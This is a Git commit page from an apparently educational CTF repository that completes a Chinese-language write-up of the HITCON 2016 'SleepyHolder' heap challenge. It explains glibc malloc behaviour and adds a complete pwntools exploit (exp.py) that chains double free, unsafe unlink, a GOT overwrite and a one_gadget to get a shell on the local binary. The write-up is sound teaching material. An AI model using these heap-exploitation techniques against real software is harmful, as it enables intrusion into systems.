mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 03:01:15 +07:00
finish 6.1.22
This commit is contained in:
parent
9652ac99b1
commit
38adff96ae
@ -391,19 +391,29 @@ Which Secret do you want to wipe?
|
||||
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
|
||||
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
|
||||
{
|
||||
[...]
|
||||
/* update statistics */
|
||||
|
||||
int new = atomic_exchange_and_add (&mp_.n_mmaps, 1) + 1;
|
||||
atomic_max (&mp_.max_n_mmaps, new);
|
||||
|
||||
unsigned long sum;
|
||||
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
|
||||
atomic_max (&mp_.max_mmapped_mem, sum);
|
||||
[...]
|
||||
```
|
||||
此时将使用 `mmap()` 来分配内存。然而这样得到的内存将与初始堆(由`brk()`分配,位于`.bss`段附近)的位置相距很远,难以利用。所以我们要想办法使用 `brk()` 来分配,好消息是由于性能的关系,在释放由 `mmap()` 分配的 chunk 时,会动态调整阀值 `mp_.mmap_threshold` 来避免碎片化,使得下一次的分配时使用 `brk()`:
|
||||
```
|
||||
void
|
||||
__libc_free (void *mem)
|
||||
{
|
||||
[...]
|
||||
if (chunk_is_mmapped (p)) /* release mmapped memory. */
|
||||
{
|
||||
/* see if the dynamic brk/mmap threshold needs adjusting */
|
||||
if (!mp_.no_dyn_threshold
|
||||
&& p->size > mp_.mmap_threshold
|
||||
&& p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
|
||||
{
|
||||
mp_.mmap_threshold = chunksize (p);
|
||||
mp_.trim_threshold = 2 * mp_.mmap_threshold;
|
||||
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
|
||||
mp_.mmap_threshold, mp_.trim_threshold);
|
||||
}
|
||||
munmap_chunk (p);
|
||||
return;
|
||||
}
|
||||
```
|
||||
此时将使用 `mmap()` 来分配内存。然而这样得到的内存将与初始堆(由`brk()`分配,位于`.bss`段附近)的位置相距很远,难以利用。所以我们要想办法使用 `brk()` 来分配,好消息是由于性能的关系,在该函数结束时更新了 `mp_.max_n_mmaps`,使得下一次的分配将使得判断条件不成立,即使用 `brk()`。
|
||||
|
||||
#### unsafe unlink
|
||||
```python
|
||||
@ -412,7 +422,7 @@ def unlink():
|
||||
wipe(1)
|
||||
keep(2) # big
|
||||
wipe(1) # double free
|
||||
keep(1) # small
|
||||
keep(1) # small # overlapping
|
||||
keep(3)
|
||||
wipe(3)
|
||||
keep(3) # huge
|
||||
@ -427,6 +437,7 @@ def unlink():
|
||||
|
||||
wipe(3) # unsafe unlink
|
||||
```
|
||||
因为在分配 large chunk 的时候,glibc 首先会调用函数 `malloc_consolidate()` 来清除 fastbin 中的块。所以 big secret 被放到了原 small secret 的位置,当再次分配 small secret 的时候就造成了堆块重叠。
|
||||
|
||||
首先制造 double free:
|
||||
```
|
||||
@ -470,7 +481,7 @@ gdb-peda$ x/6gx 0x00602098
|
||||
#### leak libc
|
||||
```python
|
||||
def leak():
|
||||
global system_addr
|
||||
global one_gadget
|
||||
|
||||
payload = "A" * 8
|
||||
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
|
||||
@ -483,10 +494,10 @@ def leak():
|
||||
wipe(2)
|
||||
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
|
||||
libc_base = puts_addr - libc.symbols['puts']
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
one_gadget = libc_base + 0x4525a
|
||||
|
||||
log.info("libc base: 0x%x" % libc_base)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
log.info("one_gadget address: 0x%x" % one_gadget)
|
||||
```
|
||||
|
||||
修改 big_ptr 指向 `free@got.plt`,small_ptr 指向 big_ptr:
|
||||
@ -569,7 +580,7 @@ def unlink():
|
||||
wipe(1)
|
||||
keep(2) # big
|
||||
wipe(1) # double free
|
||||
keep(1) # small
|
||||
keep(1) # small # overlapping
|
||||
keep(3)
|
||||
wipe(3)
|
||||
keep(3) # huge
|
||||
|
@ -68,7 +68,7 @@ Which Secret do you want to wipe?
|
||||
2. Big secret
|
||||
1
|
||||
```
|
||||
这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret,不同的是这里的 huge secret 是不可修改和删除的。另外在程序开始时会 sleep 几秒钟,不知道对利用有没有帮助。
|
||||
这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret,不同的是这里的 huge secret 是不可修改和删除的。
|
||||
|
||||
|
||||
## 题目解析
|
||||
@ -357,6 +357,244 @@ Which Secret do you want to wipe?
|
||||
|
||||
|
||||
## 漏洞利用
|
||||
总结一下我们知道的东西:
|
||||
- small secret: small chunk, 40 bytes
|
||||
- small_ptr: 0x006020d0
|
||||
- small_flag: 0x006020e0
|
||||
- big secret: large chunk, 4000 bytes
|
||||
- big_ptr: 0x006020c0
|
||||
- big_flag: 0x006020d8
|
||||
- huge secret: large chunk, 400000 bytes
|
||||
- huge_ptr: 0x006020c8
|
||||
- huge_flag: 0x006020dc
|
||||
|
||||
漏洞:
|
||||
- double-free:在 free chunk 的位置 calloc 另一个 chunk,即可再次 free 这个 chunk
|
||||
- use-after-free:由于 double-free,calloc 出来的那个 chunk 被认为是 free 的,但可以使用
|
||||
|
||||
看到这里该题与上一题的差别很明显了,就是我们没有办法再通过 `keep(huge) -> wipe(huge) -> keep(huge)` 来利用 `brk()` 分配内存,制造 unsafe unlink。
|
||||
|
||||
然后我们又在 `_int_malloc()` 中发现了另一个东西:
|
||||
```c
|
||||
static void*
|
||||
_int_malloc(mstate av, size_t bytes)
|
||||
{
|
||||
/*
|
||||
If this is a large request, consolidate fastbins before continuing.
|
||||
While it might look excessive to kill all fastbins before
|
||||
even seeing if there is space available, this avoids
|
||||
fragmentation problems normally associated with fastbins.
|
||||
Also, in practice, programs tend to have runs of either small or
|
||||
large requests, but less often mixtures, so consolidation is not
|
||||
invoked all that often in most programs. And the programs that
|
||||
it is called frequently in otherwise tend to fragment.
|
||||
*/
|
||||
|
||||
else {
|
||||
idx = largebin_index(nb);
|
||||
if (have_fastchunks(av))
|
||||
malloc_consolidate(av);
|
||||
}
|
||||
```
|
||||
当需求 chunk 是一个 large chunk 时,glibc 会将把 fastbins 中的 chunk 移除,设置 `PREV_INUSE` 为 0,合并 free chunk,然后放到 unsorted bin。接着 glibc 尝试从 unsorted bin 中取出 chunk,由于大小不合适,这些 chunk 又被放到 small bin 中:
|
||||
```c
|
||||
/* place chunk in bin */
|
||||
|
||||
if (in_smallbin_range (size))
|
||||
{
|
||||
victim_index = smallbin_index (size);
|
||||
bck = bin_at (av, victim_index);
|
||||
fwd = bck->fd;
|
||||
}
|
||||
```
|
||||
这时就可以再次释放 small secret 而不触发 double-free 的检测。
|
||||
|
||||
那么为什么一定要将 small secret 放进 small bin 呢?因为当 chunk 被放进 small bin 时,会相应的修改 next chunk(即big secret)的 chunk header(设置prev_size,`PREV_INUSE`置0),而当 chunk 被放进 fastbins 时是不会有这样的操作的。接下来我们需要通过 double-free 将 small secret 再次放进 fastbins(这时small secret同时存在于fastbins和small bin中),再从 fastbins 中取出 small secret,原因和上面类似,从 fastbins 中取出 chunk 不会设置 next chunk 的 chunk header。这样我们才能正确地触发 unlink。
|
||||
|
||||
#### unsafe unlink
|
||||
```python
|
||||
def unlink():
|
||||
keep(1, "AAAA") # small
|
||||
keep(2, "AAAA") # big
|
||||
wipe(1) # put small into fastbins
|
||||
keep(3, "AAAA") # huge # put small into small bin
|
||||
wipe(1) # double free # put small into fastbins
|
||||
|
||||
payload = p64(0) + p64(0x21) # fake header
|
||||
payload += p64(small_ptr - 0x18) # fake fd
|
||||
payload += p64(small_ptr - 0x10) # fake bk
|
||||
payload += p64(0x20) # fake prev_size
|
||||
keep(1, payload)
|
||||
|
||||
wipe(2) # unsafe unlink
|
||||
```
|
||||
制造 double-free:
|
||||
```
|
||||
gdb-peda$ x/5gx 0x006020c0
|
||||
0x6020c0: 0x0000000000603560 0x00007ffff7f92010
|
||||
0x6020d0: 0x0000000000603530 0x0000000100000001
|
||||
0x6020e0: 0x0000000000000000
|
||||
gdb-peda$ x/10gx 0x00603530-0x10
|
||||
0x603520: 0x0000000000000000 0x0000000000000031 <-- small
|
||||
0x603530: 0x0000000000000000 0x00007ffff7dd1b98
|
||||
0x603540: 0x0000000000000000 0x0000000000000000
|
||||
0x603550: 0x0000000000000030 0x0000000000000fb0 <-- big <-- PREV_INUSE
|
||||
0x603560: 0x0000000041414141 0x0000000000000000
|
||||
```
|
||||
上面的过程一方面通过 malloc_consolidate 设置了 big secret 的 PREV_INUSE,另一方面通过 double-free 将 small secret 放进 fastbins。
|
||||
|
||||
在 small secret 中布置上一个 fake chunk:
|
||||
```
|
||||
gdb-peda$ x/5gx 0x006020c0
|
||||
0x6020c0: 0x0000000000603560 0x00007ffff7f92010
|
||||
0x6020d0: 0x0000000000603530 0x0000000100000001
|
||||
0x6020e0: 0x0000000000000001
|
||||
gdb-peda$ x/10gx 0x00603530-0x10
|
||||
0x603520: 0x0000000000000000 0x0000000000000031
|
||||
0x603530: 0x0000000000000000 0x0000000000000021 <-- fake chunk
|
||||
0x603540: 0x00000000006020b8 0x00000000006020c0 <-- fd, bk pointer
|
||||
0x603550: 0x0000000000000020 0x0000000000000fb0 <-- big <-- fake prev_size
|
||||
0x603560: 0x0000000041414141 0x0000000000000000
|
||||
gdb-peda$ x/gx 0x006020b8 + 0x18
|
||||
0x6020d0: 0x0000000000603530 <-- P->fd->bk = P
|
||||
gdb-peda$ x/gx 0x006020c0 + 0x10
|
||||
0x6020d0: 0x0000000000603530 <-- P->bk->fd = P
|
||||
```
|
||||
释放 big secret 即可触发 unsafe unlink:
|
||||
```
|
||||
gdb-peda$ x/6gx 0x006020b8
|
||||
0x6020b8: 0x0000000000000000 0x0000000000603560
|
||||
0x6020c8: 0x00007ffff7f92010 0x00000000006020b8 <-- fake chunk ptr
|
||||
0x6020d8: 0x0000000100000000 0x0000000000000001
|
||||
```
|
||||
于是我们就获得了修改 `.bss` 段的能力。
|
||||
|
||||
后面的过程就和上一题完全一样了。
|
||||
|
||||
#### leak libc
|
||||
```python
|
||||
def leak():
|
||||
global one_gadget
|
||||
|
||||
payload = "A" * 8
|
||||
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
|
||||
payload += "A" * 8
|
||||
payload += p64(big_ptr) # small_ptr -> big_ptr
|
||||
payload += p32(1) # big_flag
|
||||
renew(1, payload)
|
||||
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
|
||||
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
|
||||
|
||||
wipe(2)
|
||||
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
|
||||
libc_base = puts_addr - libc.symbols['puts']
|
||||
one_gadget = libc_base + 0x4525a
|
||||
|
||||
log.info("libc base: 0x%x" % libc_base)
|
||||
log.info("one_gadget address: 0x%x" % one_gadget)
|
||||
```
|
||||
|
||||
#### pwn
|
||||
```python
|
||||
def pwn():
|
||||
payload = "A" * 0x10
|
||||
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
|
||||
renew(1, payload)
|
||||
|
||||
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
开启 ASLR,Bingo!!!
|
||||
```
|
||||
$ python exp.py
|
||||
[+] Starting local process './SleepyHolder': pid 8352
|
||||
[*] libc base: 0x7ffbcd987000
|
||||
[*] one_gadget address: 0x7ffbcd9cc25a
|
||||
[*] Switching to interactive mode
|
||||
$ whoami
|
||||
firmy
|
||||
```
|
||||
|
||||
#### exploit
|
||||
完整的 exp 如下:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
|
||||
from pwn import *
|
||||
|
||||
#context.log_level = 'debug'
|
||||
|
||||
io = process(['./SleepyHolder'], env={'LD_PRELOAD':'./libc.so.6'})
|
||||
elf = ELF('SleepyHolder')
|
||||
libc = ELF('libc.so.6')
|
||||
|
||||
small_ptr = 0x006020d0
|
||||
big_ptr = 0x006020c0
|
||||
|
||||
def keep(idx, content):
|
||||
io.sendlineafter("Renew secret\n", '1')
|
||||
io.sendlineafter("Big secret\n", str(idx))
|
||||
io.sendafter("secret: \n", content)
|
||||
|
||||
def wipe(idx):
|
||||
io.sendlineafter("Renew secret\n", '2')
|
||||
io.sendlineafter("Big secret\n", str(idx))
|
||||
|
||||
def renew(idx, content):
|
||||
io.sendlineafter("Renew secret\n", '3')
|
||||
io.sendlineafter("Big secret\n", str(idx))
|
||||
io.sendafter("secret: \n", content)
|
||||
|
||||
def unlink():
|
||||
keep(1, "AAAA") # small
|
||||
keep(2, "AAAA") # big
|
||||
wipe(1) # put small into fastbins
|
||||
keep(3, "AAAA") # huge # put small into small bin
|
||||
wipe(1) # double free # put small into fastbins
|
||||
|
||||
payload = p64(0) + p64(0x21) # fake header
|
||||
payload += p64(small_ptr - 0x18) # fake fd
|
||||
payload += p64(small_ptr - 0x10) # fake bk
|
||||
payload += p64(0x20) # fake prev_size
|
||||
keep(1, payload)
|
||||
|
||||
wipe(2) # unsafe unlink
|
||||
|
||||
def leak():
|
||||
global one_gadget
|
||||
|
||||
payload = "A" * 8
|
||||
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
|
||||
payload += "A" * 8
|
||||
payload += p64(big_ptr) # small_ptr -> big_ptr
|
||||
payload += p32(1) # big_flag
|
||||
renew(1, payload)
|
||||
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
|
||||
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
|
||||
|
||||
wipe(2)
|
||||
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
|
||||
libc_base = puts_addr - libc.symbols['puts']
|
||||
one_gadget = libc_base + 0x4525a
|
||||
|
||||
log.info("libc base: 0x%x" % libc_base)
|
||||
log.info("one_gadget address: 0x%x" % one_gadget)
|
||||
|
||||
def pwn():
|
||||
payload = "A" * 0x10
|
||||
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
|
||||
renew(1, payload)
|
||||
|
||||
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
|
||||
io.interactive()
|
||||
|
||||
if __name__ == "__main__":
|
||||
unlink()
|
||||
leak()
|
||||
pwn()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/4812
|
||||
|
@ -30,7 +30,7 @@ def unlink():
|
||||
wipe(1)
|
||||
keep(2) # big
|
||||
wipe(1) # double free
|
||||
keep(1) # small
|
||||
keep(1) # small # overlapping
|
||||
keep(3)
|
||||
wipe(3)
|
||||
keep(3) # huge
|
||||
|
74
src/writeup/6.1.22_pwn_hitconctf2016_sleepy_holder/exp.py
Normal file
74
src/writeup/6.1.22_pwn_hitconctf2016_sleepy_holder/exp.py
Normal file
@ -0,0 +1,74 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from pwn import *
|
||||
|
||||
#context.log_level = 'debug'
|
||||
|
||||
io = process(['./SleepyHolder'], env={'LD_PRELOAD':'./libc.so.6'})
|
||||
elf = ELF('SleepyHolder')
|
||||
libc = ELF('libc.so.6')
|
||||
|
||||
small_ptr = 0x006020d0
|
||||
big_ptr = 0x006020c0
|
||||
|
||||
def keep(idx, content):
|
||||
io.sendlineafter("Renew secret\n", '1')
|
||||
io.sendlineafter("Big secret\n", str(idx))
|
||||
io.sendafter("secret: \n", content)
|
||||
|
||||
def wipe(idx):
|
||||
io.sendlineafter("Renew secret\n", '2')
|
||||
io.sendlineafter("Big secret\n", str(idx))
|
||||
|
||||
def renew(idx, content):
|
||||
io.sendlineafter("Renew secret\n", '3')
|
||||
io.sendlineafter("Big secret\n", str(idx))
|
||||
io.sendafter("secret: \n", content)
|
||||
|
||||
def unlink():
|
||||
keep(1, "AAAA") # small
|
||||
keep(2, "AAAA") # big
|
||||
wipe(1) # put small into fastbins
|
||||
keep(3, "AAAA") # huge # put small into small bin
|
||||
wipe(1) # double free # put small into fastbins
|
||||
|
||||
payload = p64(0) + p64(0x21) # fake header
|
||||
payload += p64(small_ptr - 0x18) # fake fd
|
||||
payload += p64(small_ptr - 0x10) # fake bk
|
||||
payload += p64(0x20) # fake prev_size
|
||||
keep(1, payload)
|
||||
|
||||
wipe(2) # unsafe unlink
|
||||
|
||||
def leak():
|
||||
global one_gadget
|
||||
|
||||
payload = "A" * 8
|
||||
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
|
||||
payload += "A" * 8
|
||||
payload += p64(big_ptr) # small_ptr -> big_ptr
|
||||
payload += p32(1) # big_flag
|
||||
renew(1, payload)
|
||||
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
|
||||
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
|
||||
|
||||
wipe(2)
|
||||
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
|
||||
libc_base = puts_addr - libc.symbols['puts']
|
||||
one_gadget = libc_base + 0x4525a
|
||||
|
||||
log.info("libc base: 0x%x" % libc_base)
|
||||
log.info("one_gadget address: 0x%x" % one_gadget)
|
||||
|
||||
def pwn():
|
||||
payload = "A" * 0x10
|
||||
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
|
||||
renew(1, payload)
|
||||
|
||||
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
|
||||
io.interactive()
|
||||
|
||||
if __name__ == "__main__":
|
||||
unlink()
|
||||
leak()
|
||||
pwn()
|
Loading…
Reference in New Issue
Block a user